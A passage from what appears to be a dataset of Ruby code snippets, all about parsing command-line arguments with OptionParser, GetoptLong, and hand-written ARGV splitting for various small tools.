argument\r\n if (ARGV[-2].start_with?('-') && !ARGV[-1].start_with?('-'))\r\n args.unshift(ARGV[-1])\r\n end\r\n return args\r\nend", "def split_command(args)\n main_args = nil\n sub_command = nil\n sub_args = []\n\n args.each_index do |i|\n if args[i].start_with?(\"-\")\n args.delete(args[i])\n end\n end\n\n args.each_index do |i|\n if !args[i].start_with?(\"-\")\n main_args = args[0,i]\n sub_command = args[i]\n sub_args = args[i+1, args.length - i + 1]\n break\n end\n end\n\n main_args = args.dup if main_args.nil?\n return [main_args, sub_command, sub_args]\nend", "def command_parse(argv)\n end", "def parse_extra_args(args)\n # Special case: consider a single argument\n if (ARGV.length == 1)\n return (ARGV[0].start_with?('-')) ? [] : [ARGV[0]]\n end\n \n args[0..-2].each_index do |i|\n if (args[i].start_with?('-'))\n # Delete the flag, and its value if present\n args.delete_at(i+1) unless(args[i+1].nil? || args[i+1].start_with?('-'))\n args.delete_at(i)\n end\n end\n \n # Special case: consider the last argument\n if (ARGV[-2].start_with?('-') && !ARGV[-1].start_with?('-'))\n args.unshift(ARGV[-1])\n end\n return args\nend", "def parsed_args\n args = Options.new('binnacle - Simple Test and Infra automation Framework')\n args.verbose = 0\n args.runner = false\n args.result_json = ''\n\n opt_parser = OptionParser.new do |opts|\n opts.banner = 'Usage: binnacle [options] <testfile>'\n\n opts.on('-w', '--wide', 'Do not crop the task line') { args.wide = true }\n opts.on('-v', '--verbose', 'Verbose output') { args.verbose += 1 }\n opts.on('-r', '--runner', 'Run the tasks from a file (Internal use only)') { args.runner = true }\n opts.on('--results-json=FILE', 'Results JSON file') do |json_file|\n args.result_json = json_file\n end\n\n opts.on('-h', '--help', 'Prints this help') do\n puts opts\n exit\n end\n\n opts.on('--version', 'Show Version information') do\n puts \"Binnacle #{Binnacle::VERSION}\"\n exit\n end\n end\n\n opt_parser.parse!(ARGV)\n\n if ARGV.empty?\n warn 'Task file is not specified'\n exit EXIT_INVALID_ARGS\n end\n\n args.task_files = ARGV\n args\nend", "def split_args(ary)\n\tfiles = []\n\topts = []\n\tc = false\n\tary.each do |i|\n\t\tnext if i == '-'\n\t\tif i == '--' then\n\t\t\tc = true\n\t\t\tnext\n\t\tend\n\t\tfiles << i if c or not (i =~ /^-/)\n\t\topts << i if (not c) and (i =~ /^-/)\n\tend\n\t[files, opts]\nend", "def parse(args)\r\n full_args_str = args.to_s\r\n args_list = _trim_end_caps(full_args_str)\r\n args_arr = []\r\n\r\n loop do\r\n match = false\r\n ARGUMENT_REGEXP.match(args_list) do |match_context|\r\n match = true\r\n args_arr << _unescape_arg(match_context[:first_arg])\r\n if match_context[:other_args]\r\n args_list = match_context[:other_args]\r\n else\r\n return args_arr\r\n end\r\n end\r\n\r\n fail unless match\r\n end\r\n end", "def to_cmd_ary(opts={arguments:[],separator:\"=\"})\n # [program, sub_program, normalize_params(opts[:separator]), opts[:arguments]].flatten.compact\n [program, sub_program, normalize_params(opts[:separator]), opts[:arguments].map{|a| a.split}].flatten.compact\n end", "def args\n return [] unless options[\"args\"]\n options[\"args\"].map do |options|\n Argument.new options\n end\n end", "def parse_args(str)\n return str.split(/\\s+:(.*)|\\s+/)\n end", "def command_arguments(options={})\n args = []\n args.concat(['--type', options[:type].to_s]) if options[:type]\n args.concat(['--line-break', options[:line_break].to_s]) if options[:line_break]\n args.concat(['--charset', options[:charset].to_s]) if options[:charset]\n\n if options[:type].to_s == 'js'\n args << '--nomunge' unless options[:munge]\n args << '--preserve-semi' if options[:preserve_semicolons]\n args << '--disable-optimizations' unless options[:optimize]\n end\n\n args\n end", "def parse_arguments\n @command_line_options = {}\n @config.insert 0, '<command_line>', @command_line_options\n\n @options = OptionParser.new do |opts|\n opts.on('-a', '--application STRING', 'set application name') do |application|\n @command_line_options[:application] = application\n end\n\n opts.on('-d', '--destination DIR', 'set destination directory', \"default: #{@config[:destination_directory]}\") do |directory|\n @command_line_options[:destination_directory] = directory\n end\n\n opts.on('-n', '--dryrun', 'do not switch') do\n @command_line_options[:dryrun] = true\n end\n\n opts.on('-V', '--version STRING', 'set application version to deploy') do |version|\n @command_line_options[:version] = version\n end\n end\n @options.parse!\n end", "def commander _args\n \"commander _args;\" \n end", "def arguments\n parser.arguments\n end", "def arguments\n tailing_args = tailing_non_options\n\n if tailing_args.any? { |arg| arg[0,1] == '-' }\n tailing_args.unshift('--')\n end\n\n return leading_non_options + options + tailing_args\n end", "def arguments_for expression, command\n expression.scan(command.expression.to_regexp)[0]\n end", "def parse_arguments\n options = {}\n parser = OptionParser.new do |opts|\n opts.on(\"-d\", \"--dir DIR\", \"absolute or relative path of the directory\") do |arg|\n options[:dir] = arg\n end\n\n opts.on(\"-p\", \"--pattern PATTERN\", \"search pattern - can contain asterisk(*) as wildcard\") do |arg|\n options[:pattern] = arg\n end\n end\n parser.parse!\n [options, parser]\nend", "def extract_command_from_line(line)\n\t\tvalues = line.split(\" \")\n\t\tif values.length > 1\n\t\t\t{method: values[0], arguments: values[1..values.length-1]}\n\t\telse\n\t\t\t{method: values[0], arguments: []}\n\t\tend\n\tend", "def parse_args\n args = {\n :stack_name => nil,\n :parameters => {},\n :interactive => false,\n :region => default_region,\n :profile => nil,\n :nopretty => false,\n :s3_bucket => nil,\n }\n ARGV.slice_before(/^--/).each do |name, value|\n case name\n when '--stack-name'\n args[:stack_name] = value\n when '--parameters'\n args[:parameters] = Hash[value.split(/;/).map { |pair| parts = pair.split(/=/, 2); [ parts[0], Parameter.new(parts[1]) ] }]\n when '--interactive'\n args[:interactive] = true\n when '--region'\n args[:region] = value\n when '--profile'\n args[:profile] = value\n when '--nopretty'\n args[:nopretty] = true\n when '--s3-bucket'\n args[:s3_bucket] = value\n end\n end\n\n args\nend", "def cmd_to_run\n\tarr = ARGV.dup\n\tarr = default_cmd if arr.empty?\n\tarr\nend", "def process_argv!\n args = ARGV.dup\n self.rest = []\n until args.empty? do\n arg = args.shift\n case\n when arg == '--'\n self.rest += args\n break\n when arg =~ /\\A--([\\w\\-\\.]+)(?:=(.*))?\\z/\n param, val = [$1, $2]\n param.gsub!(/\\-/, '.') # translate --scoped-flag to --scoped.flag\n param = param.to_sym unless (param =~ /\\./) # symbolize non-scoped keys\n if val == nil then val = true # --flag option on its own means 'set that option'\n elsif val == '' then val = nil end # --flag='' the explicit empty string means nil\n self[param] = val\n when arg =~ /\\A-(\\w+)\\z/\n $1.each_char do |flag|\n param = param_with_flag(flag)\n self[param] = true if param\n end\n else\n self.rest << arg\n end\n end\n end", "def arguments\n args = OpenStudio::Measure::OSArgumentVector.new\n\n return args\n end", "def exiftool_args\n fail MultiExiftool::Error, 'No filenames.' if filenames.empty?\n cmd = []\n cmd << Reader.mandatory_args\n cmd << options_args\n cmd << tags_args\n cmd << filenames\n cmd.flatten\n end", "def parse(obj, argv)\n case argv\n when String\n require 'shellwords'\n argv = Shellwords.shellwords(argv)\n else\n argv = argv.dup\n end\n\n argv = argv.dup\n args, opts, i = [], {}, 0\n while argv.size > 0\n case opt = argv.shift\n when /=/\n parse_equal(obj, opt, argv)\n when /^--/\n parse_option(obj, opt, argv)\n when /^-/\n parse_flags(obj, opt, argv)\n else\n args << opt\n end\n end\n return args\n end", "def getArguments\n\n\t# Parse the arguments\n\ttheArgs = { :clang => false,\n\t\t\t\t:rewrite => false,\n\t\t\t\t:help => false,\n\t\t\t\t:paths => [],\n\t\t\t\t:exclude => [] }\n\n\ttheParser = OptionParser.new do |opts|\n\t\topts.banner = \"Usage:\\n rn-format [--help] [--clang] [--rewrite] [--exclude=PATH] PATH [PATH...]\";\n\t\topts.separator \"\";\n\t\topts.separator \"Reformat any source files within the supplied paths,\";\n\t\topts.separator \"displaying the results to standard output.\";\n\t\topts.separator \"\";\n\t\topts.separator \"Options:\";\n\n\t\topts.on('--clang',\t\t\t\t\t\t'Show raw clang-format output') do\n\t\t\ttheArgs[:clang] = true;\n\t\tend\n\n\t\topts.on('--rewrite',\t\t\t\t\t'Rewrite files in-place') do\n\t\t\ttheArgs[:rewrite] = true;\n\t\tend\n\n\t\topts.on('--exclude=PATH',\t\t\t\t'Exclude a path') do |thePath|\n\t\t\ttheArgs[:exclude] << File.expand_path(thePath);\n\t\tend\n\n\t\topts.on('--help',\t\t\t\t\t\t'Show the help') do\n\t\t\ttheArgs[:help] = true;\n\t\tend\n\tend\n\n\ttheParser.parse!;\n\ttheArgs[:paths] = ARGV;\n\n\n\n\t# Show the help\n\tif (theArgs[:help] || theArgs[:paths].empty?)\n\t\tputs theParser.help();\n\t\texit(false);\n\tend\n\t\n\treturn theArgs;\n\nend", "def arguments\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n return args\n end", "def parse_args\n args_map = {:main => $0}\n ARGV.each { |arg|\n sep = arg.index('=')\n\n key = arg[0..sep-1].to_sym\n val = arg[sep+1..-1]\n\n if val == 'true'\n val = true\n end\n if val == 'false'\n val = false\n end\n args_map[key] = val\n }\n return args_map\n end", "def normalize_args(args)\n return args if args.nil?\n args.pop if args.size > 0 && args.last == '--'\n args\n end", "def getOptions\n @options = Array.new\n # format of options argument\n optionsPattern = Regexp.new(/\\-[\\w]+/)\n # check to see if options are formatted correctly\n if optionsPattern.match(ARGV[0])\n # get each option and push them to an array \n # start at 1 to ignore - \n for i in 1..ARGV[0].length - 1\n @options.push(ARGV[0][i])\n end # -- end for loop to get options\n else\n abort(\"First argument needs to be an option.\\nExample:\\n\\t ruby OSQuery -i Blood_rune\")\n end # -- end valid options check\nend", "def arguments()\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n return args\n end", "def split_main_and_subcommand(argv)\n # Initialize return variables\n main_args = nil\n sub_command = nil\n sub_args = []\n\n # We split the arguments into two: One set containing any\n # flags before a word, and then the rest. The rest are what\n # get actually sent on to the subcommand.\n argv.each_index do |i|\n if !argv[i].start_with?(\"-\")\n # We found the beginning of the sub command. Split the\n # args up.\n main_args = argv[0, i]\n sub_command = argv[i]\n sub_args = argv[i + 1, argv.length - i + 1]\n\n # Break so we don't find the next non flag and shift our\n # main args.\n break\n end\n end\n\n # Handle the case that argv was empty or didn't contain any subcommand\n main_args = argv.dup if main_args.nil?\n\n return [main_args, sub_command, sub_args]\n end", "def split_main_and_subcommand(argv)\n # Initialize return variables\n main_args = nil\n sub_command = nil\n sub_args = []\n\n # We split the arguments into two: One set containing any\n # flags before a word, and then the rest. The rest are what\n # get actually sent on to the subcommand.\n argv.each_index do |i|\n if !argv[i].start_with?(\"-\")\n # We found the beginning of the sub command. Split the\n # args up.\n main_args = argv[0, i]\n sub_command = argv[i]\n sub_args = argv[i + 1, argv.length - i + 1]\n\n # Break so we don't find the next non flag and shift our\n # main args.\n break\n end\n end\n\n # Handle the case that argv was empty or didn't contain any subcommand\n main_args = argv.dup if main_args.nil?\n\n return [main_args, sub_command, sub_args]\n end", "def process_argv!\n args = ARGV.dup\n self.rest = []\n @unknown_argvs = []\n until args.empty? do\n arg = args.shift\n case\n # end of options parsing\n when arg == '--'\n self.rest += args\n break\n # --param=val or --param\n when arg =~ /\\A--([\\w\\-\\.]+)(?:=(.*))?\\z/\n param, val = [$1, $2]\n warn \"Configliere uses _underscores not dashes for params\" if param.include?('-')\n @unknown_argvs << param.to_sym if (not has_definition?(param))\n self[param] = parse_value(val)\n # -abc\n when arg =~ /\\A-(\\w\\w+)\\z/\n $1.each_char do |flag|\n param = find_param_for_flag(flag)\n unless param then @unknown_argvs << flag ; next ; end\n self[param] = true\n end\n # -a val\n when arg =~ /\\A-(\\w)\\z/\n flag = find_param_for_flag($1)\n unless flag then @unknown_argvs << flag ; next ; end\n if (not args.empty?) && (args.first !~ /\\A-/)\n val = args.shift\n else\n val = nil\n end\n self[flag] = parse_value(val)\n # -a=val\n when arg =~ /\\A-(\\w)=(.*)\\z/\n flag, val = [find_param_for_flag($1), $2]\n unless flag then @unknown_argvs << flag ; next ; end\n self[flag] = parse_value(val)\n else\n self.rest << arg\n end\n end\n @unknown_argvs.uniq!\n end", "def arguments()\n args = OpenStudio::Ruleset::OSArgumentVector.new\n \n return args\n end", "def arguments()\n args = OpenStudio::Ruleset::OSArgumentVector.new\n \n return args\n end", "def arguments()\n args = OpenStudio::Ruleset::OSArgumentVector.new\n \n return args\n end", "def arguments()\n args = OpenStudio::Ruleset::OSArgumentVector.new\n \n return args\n end", "def arguments()\n args = OpenStudio::Ruleset::OSArgumentVector.new\n \n return args\n end", "def arguments()\n args = OpenStudio::Ruleset::OSArgumentVector.new\n \n return args\n end", "def arguments()\n args = OpenStudio::Ruleset::OSArgumentVector.new\n \n return args\n end", "def parse_argv(argv, &block)\n return parse_posix_argv(argv, &block) if @posix\n\n @not_parsed = []\n tagged = []\n argv.each_with_index { |e,i|\n if \"--\" == e\n @not_parsed = argv[(i+1)..(argv.size+1)]\n break\n elsif \"-\" == e\n tagged << [:arg, e] \n elsif ?- == e[0] \n m = Option::GENERAL_OPT_EQ_ARG_RE.match(e)\n if m.nil?\n tagged << [:opt, e] \n else\n tagged << [:opt, m[1]]\n tagged << [:arg, m[2]]\n end\n else\n tagged << [:arg, e]\n end\n }\n\n #\n # The tagged array has the form:\n # [\n # [:opt, \"-a\"], [:arg, \"filea\"], \n # [:opt, \"-b\"], [:arg, \"fileb\"], \n # #[:not_parsed, [\"-z\", \"-y\", \"file\", \"file2\", \"-a\", \"-b\"]]\n # ]\n\n #\n # Now, combine any adjacent args such that\n # [[:arg, \"arg1\"], [:arg, \"arg2\"]]\n # becomes\n # [[:args, [\"arg1\", \"arg2\"]]]\n # and the final result should be\n # [ \"--file\", [\"arg1\", \"arg2\"]]\n #\n\n parsed = []\n @args = []\n tagged.each { |e|\n if :opt == e[0]\n parsed << [e[1], []]\n elsif :arg == e[0]\n if Array === parsed[-1] \n parsed[-1][-1] += [e[1]]\n else\n @args << e[1]\n end\n else\n raise \"How did we get here?\"\n end\n }\n parsed.each { |e| block.call(e) }\n end", "def args(argv)\n Docopt.docopt(docopt, version: @version, argv:argv)\n end", "def argv; end", "def arguments()\r\n args = OpenStudio::Ruleset::OSArgumentVector.new\r\n\r\n return args\r\n end", "def arguments()\r\n args = OpenStudio::Ruleset::OSArgumentVector.new\r\n\r\n return args\r\n end", "def extract_option!\n case args[0]\n when /\\A-[^-]./\n bump_key!(args[0].slice!(1))\n when /\\A-[^-]\\z/\n try_add_kv!(args[0][1])\n when /\\A--(.+?)=(.+)/\n add_key!(*Regexp.last_match.values_at(1, 2))\n args.shift\n when /\\A--./\n try_add_kv!(args[0][2..-1])\n when '--'\n args.shift\n self.options += args\n self.args = []\n else\n options << args.shift\n end\n end", "def prep_args(*args)\n args = args.flatten.compact\n args = args.first.to_s.split(/\\s+/) if args.size == 1\n cmd = sudo? ? :sudo : args.shift\n \n # Symbols to switches. :l -> -l, :help -> --help\n args.collect! do |a|\n if a.is_a?(Symbol)\n a = (a.to_s.size == 1) ? \"-#{a}\" : a.to_s\n end\n a\n end\n [cmd, args]\n end", "def extract_options!\n option_parser.order!(args)\n end", "def parse_command\n log_and_exit read_template('help') if @input.empty?\n @command = @input.shift\n \n while @input.any?\n opt = @input.shift\n \n if opt =~ /^--(\\w+)(=(\"[^\"]+\"|[\\w]+))*/\n name = $1\n value = $3 ? $3.gsub(/\"/, \"\") : true\n @named_options[name] = value\n else\n @options << opt\n end\n end\n end", "def parse_command_line(args)\n all_opts = OptionParser.new do |opts|\n opts.banner = \"Usage: #{PROGRAM_NAME} [OPTIONS] PASSWORD\"\n opts.separator ''\n\n opts.on(\n '-t',\n '--load-timeout [TIMEOUT_SECONDS]',\n Integer,\n 'Timeout in seconds to wait for',\n 'gitlab-rails console to load',\n 'and process the change.',\n \"Defaults to #{DEFAULT_LOAD_TIMEOUT} seconds.\"\n ) do |timeout|\n @options.load_timeout = timeout\n end\n\n opts.on(\n '-v',\n '--verbose',\n 'Print out debug info when processing.'\n ) do\n @options.debug = true\n end\n\n opts.on(\n '-h',\n '--help',\n 'Help Message'\n ) do\n puts opts\n @options.help_requested = true\n end\n end\n\n all_opts.parse!(args)\n\n unless @options.help_requested\n fail('ERROR: You must specify the password to set') if (ARGV.length < 1)\n\n @options.password = ARGV[0]\n fail('ERROR: Password cannot be empty') if @options.password.strip.empty?\n end\n end", "def split_main_and_subcommand(argv, command_list)\n # Initialize return variables\n main_args = nil\n sub_command = nil\n sub_args = []\n\n commands = []\n command_list.keys.each {|k| commands << k.to_s}\n\n # We split the arguments into two: One set containing any flags before a word, and then the rest. The rest are what\n # get actually sent on to the command\n argv.each_index do |i|\n if commands.index(argv[i])\n main_args = argv[0, i]\n sub_command = argv[i]\n sub_args = argv[i+1..-1]\n break\n elsif argv[i].end_with?('.rb')\n main_args = argv[0, i]\n sub_command = 'execute_ruby_script'\n sub_args = argv[i..-1]\n break\n end\n end\n\n # Handle the case that argv was empty or didn't contain any command\n main_args = argv.dup if main_args.nil?\n\n [main_args, sub_command, sub_args]\nend", "def parse_args\n options = { :verbose => false, :status => false, :immediately => false, :action => :attach}\n\n parser = Trollop::Parser.new do \n opt :url, \"\", :long => \"--attach\", :short => \"-a\", :type => String, :required => true\n opt :force\n opt :cloud, \"\", :type => String\n version \"\"\n end\n\n parse do\n options.merge(parser.parse)\n end\n end", "def parse(args)\n rest = args.clone\n rest.delete_at(0)\n return args[0], rest\n end", "def arrayize_arguments(args)\n # Go through trailing arguments and suck them in if they don't seem\n # to have an owner.\n array = []\n until args.empty? || args.first.match(/^-/)\n array << args.shift\n end\n array\n end", "def parse(args)\n @args = args\n @instruction = args.join(' ')\n until @args.empty?\n arg = @args[0]\n if @instructions.key? arg\n @args.shift\n buff = args_extract(arg, @instructions[arg][0])\n @to_exec << [arg, buff]\n else\n bad_argument_exit(arg)\n end\n end\n run\n end", "def process_arguments\n @args << \"-h\" if(@args.length < 1)\n \n opts_parse = OptionParser.new do |opts|\n opts.on('-f','--file FILE','use the following local file') {|file| @options.file = File.expand_path(file)}\n opts.on('-p','--parse PARSE',\"sets which set of sider files to download #{@@sections.join(\"|\")}\") {|parse| @options.parse = parse}\n opts.on('-d','--download','download the file to be parsed') {@options.download = true}\n opts.on('-o','--output DIR','set the output directory') {|directory| @options.output = File.expand_path(directory)}\n opts.on('-h','--help',\"prints the help\"){puts opts; exit!}\n end\n \n opts_parse.parse!(@args) rescue raise \"There was an error processing command line arguments use -h to see help\"\n end", "def arguments()\r\n args = OpenStudio::Ruleset::OSArgumentVector.new\r\n \r\n return args\r\n end", "def extract_opt_args\n if args.last.is_a?(Sexp) and args.last.type == :block\n opt_args = args.pop\n opt_args.shift\n opt_args\n end\n end", "def parse_command_line_args(args)\n opts = OptionParser.new do |opts|\n opts.banner = 'Usage: tbibtools [OPTIONS] [FILES] < IN > OUT'\n opts.separator ''\n opts.separator 'tbibtools is a free software with ABSOLUTELY NO WARRANTY under'\n opts.separator 'the terms of the GNU General Public License version 2 or newer.'\n opts.separator ''\n \n opts.on('-c', '--config=FILE', String, 'Configuration file') do |value|\n @configuration.config value\n end\n\n opts.on('-e', '--regexp=REGEXP', String, 'Display entries matching the regexp') do |value|\n @configuration.filter Regexp.new(value)\n end\n\n opts.on('-f', '--format=STRING', String, 'Re-format entries (order matters)') do |value|\n @configuration.format *value.split(/,/)\n end\n\n opts.on('--[no-]formatted', 'Unformatted output') do |bool|\n unless bool\n @configuration.entry_format = []\n @configuration.entry_format_default = []\n end\n end\n\n opts.on('-i', '--[no-]case-sensitive', 'Case insensitive') do |bool|\n @configuration.sort_case bool\n end\n \n opts.on('-l', '--format-list=[STRING]', String, 'Format string for list (implies --ls)') do |value|\n @configuration.shortcut_ls\n @configuration.list_format value if value\n end\n\n opts.on('--ls', 'Synonym for: -f list,stripPrelude (\"list\" implies \"unwrap\")') do |bool|\n @configuration.shortcut_ls if bool\n end\n\n opts.on('-o', '--output=FILE', String, 'Output file') do |value|\n @configuration.output value\n end\n\n opts.on('-P', '--strip-prelude', 'Strip the prelude: same as -f stripPrelude but helps to maintain the original formatting') do |bool|\n @configuration.strip_prelude\n end\n\n opts.on('-q', '--query=FIELD=REGEXP', String, 'Show entries for which field matches the regexp') do |value|\n field, rx = value.split(/=/, 2)\n @configuration.query field => Regexp.new(rx, Regexp::IGNORECASE)\n end\n\n opts.on('-s', '--sort=STRING', String, 'Sort (default: sort by key; key = _id, type = _type)') do |value|\n @configuration.sort_key value\n end\n\n opts.on('-S', '--[no-]expand-strings', 'Replace/expand strings') do |bool|\n @configuration.expand_strings bool\n end\n\n opts.on('--strip=FIELDS', String, 'Ignore/strip fields') do |value|\n @configuration.strip value.split(/,/)\n end\n\n opts.on('-u', '--unsorted', 'Unsorted output') do |bool|\n @configuration.sort_key nil\n end\n\n opts.separator ''\n opts.separator 'Other Options:'\n \n opts.on('--debug', Integer, 'Show debug messages') do |v|\n $DEBUG = true\n $VERBOSE = true\n end\n \n opts.on('-v', '--verbose', 'Run verbosely') do |v|\n $VERBOSE = true\n end\n \n opts.on('-h', '--help', 'Show this message') do\n puts opts\n exit 1\n end\n\n opts.separator ''\n opts.separator 'Available formats:'\n format_rx = /^(format|preprocess|head|body|tail)_/\n format_names = (['nnIsYear', 'sortCrossref', 'downcaseType', 'upcaseType'] + \n @configuration.methods.find_all{|m| m =~ format_rx}.collect{|m| m.sub(format_rx, '')}).uniq.sort.join(', ')\n opts.separator format_names\n\n opts.separator ''\n opts.separator 'Known format shortcuts:'\n acc = []\n @configuration.methods.find_all{|m| m =~ /^shortcut_/}.sort.each do |meth|\n fn = meth.sub(/^shortcut_/, '')\n fs = @configuration.send(meth, acc)\n opts.separator \"#{fn}: #{fs.join(',')}\"\n end\n end\n @configuration.input *opts.parse!(args)\n self\n end", "def parse_args\n # Not using a proper option parse library, as it will get confused\n # by options for the command given. We use a simple parser.\n while /^-/ =~ ARGV[0]\n option = ARGV.shift\n case option\n when '-c', '--container'\n @container = ARGV.shift\n if !get_containers.include? @container\n abort \"Unknown container #{@container}\"\n end\n when '-v', '--verbose'\n @verbose = true\n when '-n', '--dry-run'\n @verbose = true\n @dry_run = true\n when '-?', '--print-service'\n @query = true\n when '-l', '--list-containers'\n @list_containers = true\n when '-h', '--help'\n STDERR.puts <<-HEREDOC\nUsage: #{File.basename($0)} [OPTIONS]... COMMAND\nRuns COMMAND in docker-compose container.\n\nOn first run, asks for the service container to use and saves it to .dce_container next\nto the docker-compose.yml file.\n\nIf no command given, opens a shell.\n\nOptions:\n -c, --container SERVICE use the container of the specified service\n replaces the selected container in the .dce_container\n -v, --verbose print exec'ed command\n -n, --dry-run only print exec'ed command, don't run\n -?, --print-service print the service saved\n -l, --list-containers print the containers available\n -h, --help print this help and exit\n\n HEREDOC\n exit\n else\n abort \"Unknown option #{option}\"\n end\n end\n\n @command = ARGV.join(' ')\n end", "def parse_command(text)\n words = wordify preprocess_input text\n \n key = nil\n args = []\n \n while 0 < words.count\n key = words.join('_').intern\n \n return key, args if @actions.has_action? key\n \n args.unshift words.pop\n end # while\n \n return nil, args\n end", "def run(args)\n opts.parse!(args)\n\n command = args.shift\n if command.nil?\n puts opts\n else\n meth = command.gsub(\"-\", \"_\").to_sym\n if respond_to?(meth)\n send(meth)\n else\n puts %(`#{command}` is not a #{opts.program_name} command. See `#{opts.program_name} --help` for a list of available commands.)\n end\n end\n end", "def lazy_space_removal\n params = ARGV.join(\" \").slice(/(--parameters\\s|-p\\s).*?(?=\\s-|\\z)/)\n return ARGV if params.nil?\n params = params.split(' ')\n new_args = ARGV\n params.each {|p| new_args.delete_if {|x| x == p} }\n new_args << \"-p\"\n new_args << params[1..-1].join(' ').gsub(/\\s,/, ',')\n return new_args\nend", "def parse!(argv)\n\t\t$log.debug(\"#{self.class}.#{__method__}('#{argv.join(\" \")}'#{block_given? ? ',&block' : ''})\")\n\t\tif (argv.size == 0)\n\t\t\traise OptionParser::InvalidArgument, \"No arguments specified.\"\n\t\tend\n\n\t\t# @options is used to store recognized command-line args\n\t\t@options = Hash.new\n\t\twhile arg = argv.shift\n\t\t\tcase arg\n\t\t\twhen \"-cmd\"\n\t\t\t\t@command = argv.shift\n\t\t\twhen \"-debug\"\n\t\t\t\t$log.level = Logger::DEBUG\n\t\t\t\t$logerr.level = Logger::DEBUG\n\t\t\twhen \"-opt\"\n\t\t\t\t@options[:dataset] = argv.shift\n\t\t\twhen \"-path\"\n\t\t\t\t@options[:path] = argv.shift\n\t\t\twhen \"-target\"\n\t\t\t\t@options[:target] = argv.shift\n\t\t\twhen \"-log\"\n\t\t\t\tlevel = $log.level\n\t\t\t\tlog_path = argv.shift\n\t\t\t\t$log = Logger.new(log_path)\n\t\t\t\t$log.level = level\n\t\t\t\t$logerr = Logger.new(log_path)\n\t\t\t\t$logerr.level = level\n\t\t\telse\n\t\t\t\targv.unshift(arg)\n\t\t\t\tif block_given?\n\t\t\t\t\tunless (argv = yield(argv))\n\t\t\t\t\t\traise OptionParser::InvalidArgument, \"Unknown argument.\"\n\t\t\t\t\tend\n\t\t\t\telse break\n\t\t\t\tend\n\t\t\tend\t\t\n\t\tend\n\t\traise OptionParser::InvalidArgument, \"No command specified.\" unless @command\n\t\tunless (self.class::COMMANDS.include?(@command) && self.respond_to?(@command))\n\t\t\traise OptionParser::InvalidArgument, \"Unknown command '#{@command}' specified.\"\n\t\tend\n\t\treturn argv\n\tend", "def parse_args()\n opts = GetoptLong.new(\n ['--host', GetoptLong::OPTIONAL_ARGUMENT],\n ['--port', GetoptLong::OPTIONAL_ARGUMENT],\n ['--columns', GetoptLong::OPTIONAL_ARGUMENT],\n ['--index', GetoptLong::REQUIRED_ARGUMENT],\n ['--type', GetoptLong::REQUIRED_ARGUMENT]\n )\n\n opts.each do |opt, arg|\n case opt\n when '--host'\n @host = arg\n when '--port'\n @port = arg\n when '--columnns'\n @cols = arg.split(\",\")\n when '--index'\n @index = arg\n when '--type'\n @type = arg\n end\n end\n\n if @index.nil?\n STDERR.puts 'missing argument: --index'\n exit 1\n end\n\n if @type.nil?\n STDERR.puts 'missing argument: --type'\n exit 1\n end\n\n if ARGV.length != 1\n STDERR.puts 'Missing argument: file'\n exit 1\n end\n\n @file = ARGV.shift\nend", "def parse!( args )\n @args = args\n @options.grep!(args)\n end", "def args_of(opt)\n args_of_opt = []\n\n # Return an array of the arguments between opt and the next option,\n # which all start with \"-\"\n @@args.slice(@@args.index(opt)+1, @@args.length).select do |arg|\n if arg[0].chr != \"-\"\n args_of_opt << arg\n else\n break\n end\n end\n args_of_opt\n end", "def cmdline\n begin\n # The arguments are separated by nulls (\\000) - Substitute it\n # with spaces, which is way more human.\n File.read(\"/proc/#{@pid}/cmdline\").gsub /\\000/, ' '\n rescue Errno::ENOENT\n nil\n end\n end", "def extract_command_flags!(parameters)\n raw_command_flags = parameters.flatten.find_all { |arg| arg.start_with? \"--\" }\n parameters.delete_if { |param| raw_command_flags.include? param }\n\n flag_names = raw_command_flags.map { |flag| flag[/--(.+)$/,1].underscore.to_sym }\n flag_values = [ true ] * flag_names.count\n Hash[flag_names.zip(flag_values)]\n end", "def split_args(s)\n s.chomp.scan(/(?<=\")[^\"]*(?=\")|[^\\s]+/)\n end", "def parse_args\n case ARGV[0]\n when '-a'\n # check that no arg was passed with the -a flag.\n if ARGV[1]\n puts \"Error, '-a' flag cannot accept additional arguments.\"\n puts \"Run `validate-pp -h` for more info.\"\n exit!\n end\n parse_directory(File.expand_path(Dir.pwd))\n when '-d'\n ARGV.shift\n ARGV.each do |d|\n unless File.directory?(d)\n puts \"Error, #{d} is not a directory.\"\n puts \"Run `validate-pp -h` for more info.\"\n exit!\n end\n end\n dirs = ARGV.map { |d| File.expand_path(d) }\n dirs.each { |d| parse_directory(d) }\n when \"-f\"\n ARGV.shift\n ARGV.each do |f|\n unless File.extname(f) == '.pp'\n puts \"Error, #{f} is not a '.pp' file\"\n puts \"Run `validate-pp -h` for more info.\"\n exit!\n end \n end\n ARGV.each { |f| PuppetFile.new(File.expand_path(f)) }\n when '-g'\n if ARGV[1]\n puts \"Error, '-g' flag cannot accept additional arguments.\"\n puts \"Run `validate-pp -h` for more info.\"\n exit!\n end\n parse_git_repo\n end\nend", "def parse_options!(args)\n option_parser.parse!(args)\n\n if args.empty?\n abort(\"You must give exactly one command to execute.\")\n else\n @options.command = args.join(\" \")\n end\n end", "def extract_extras(*args)\n args.extract_options!\n args.shift\n args\n end", "def run_ar_extract_bdmroutine_arguments_from_console_arguments(\n ar_console_arguments)\n i_len=nil\n if KIBUVITS_b_DEBUG\n bn=binding()\n kibuvits_typecheck bn, Array,ar_console_arguments\n i_len=ar_console_arguments.size\n if i_len<1\n kibuvits_throw(\"i_len==\"+i_len.to_s+\" < 1 , but the \"+\n \"ar_console_arguments[0] has to contain the bdmroutine name.\")\n end # if\n else\n i_len=ar_console_arguments.size\n end # if\n ar_parameters=nil\n if 1<i_len\n ar_parameters=ar_console_arguments[1..(-1)]\n else\n ar_parameters=Array.new\n end # if\n return ar_parameters\n end", "def text_from_args\n\t\t\treturn ARGV.join(' ').gsub(\"\\t\",'')\n\t\tend", "def process_args\n args = @args.dup\n @options[:operands] = nil\n unless args.length >= 2\n puts @opts\n exit 1\n end\n @options[:operands] = args.shift(2)\n @options[:output_filename] = args.shift unless args.empty?\n @options[:output] ||= @options[:output_filename] || $stdout\n\n run\n end", "def shell_commands(cmd, args); end" ]
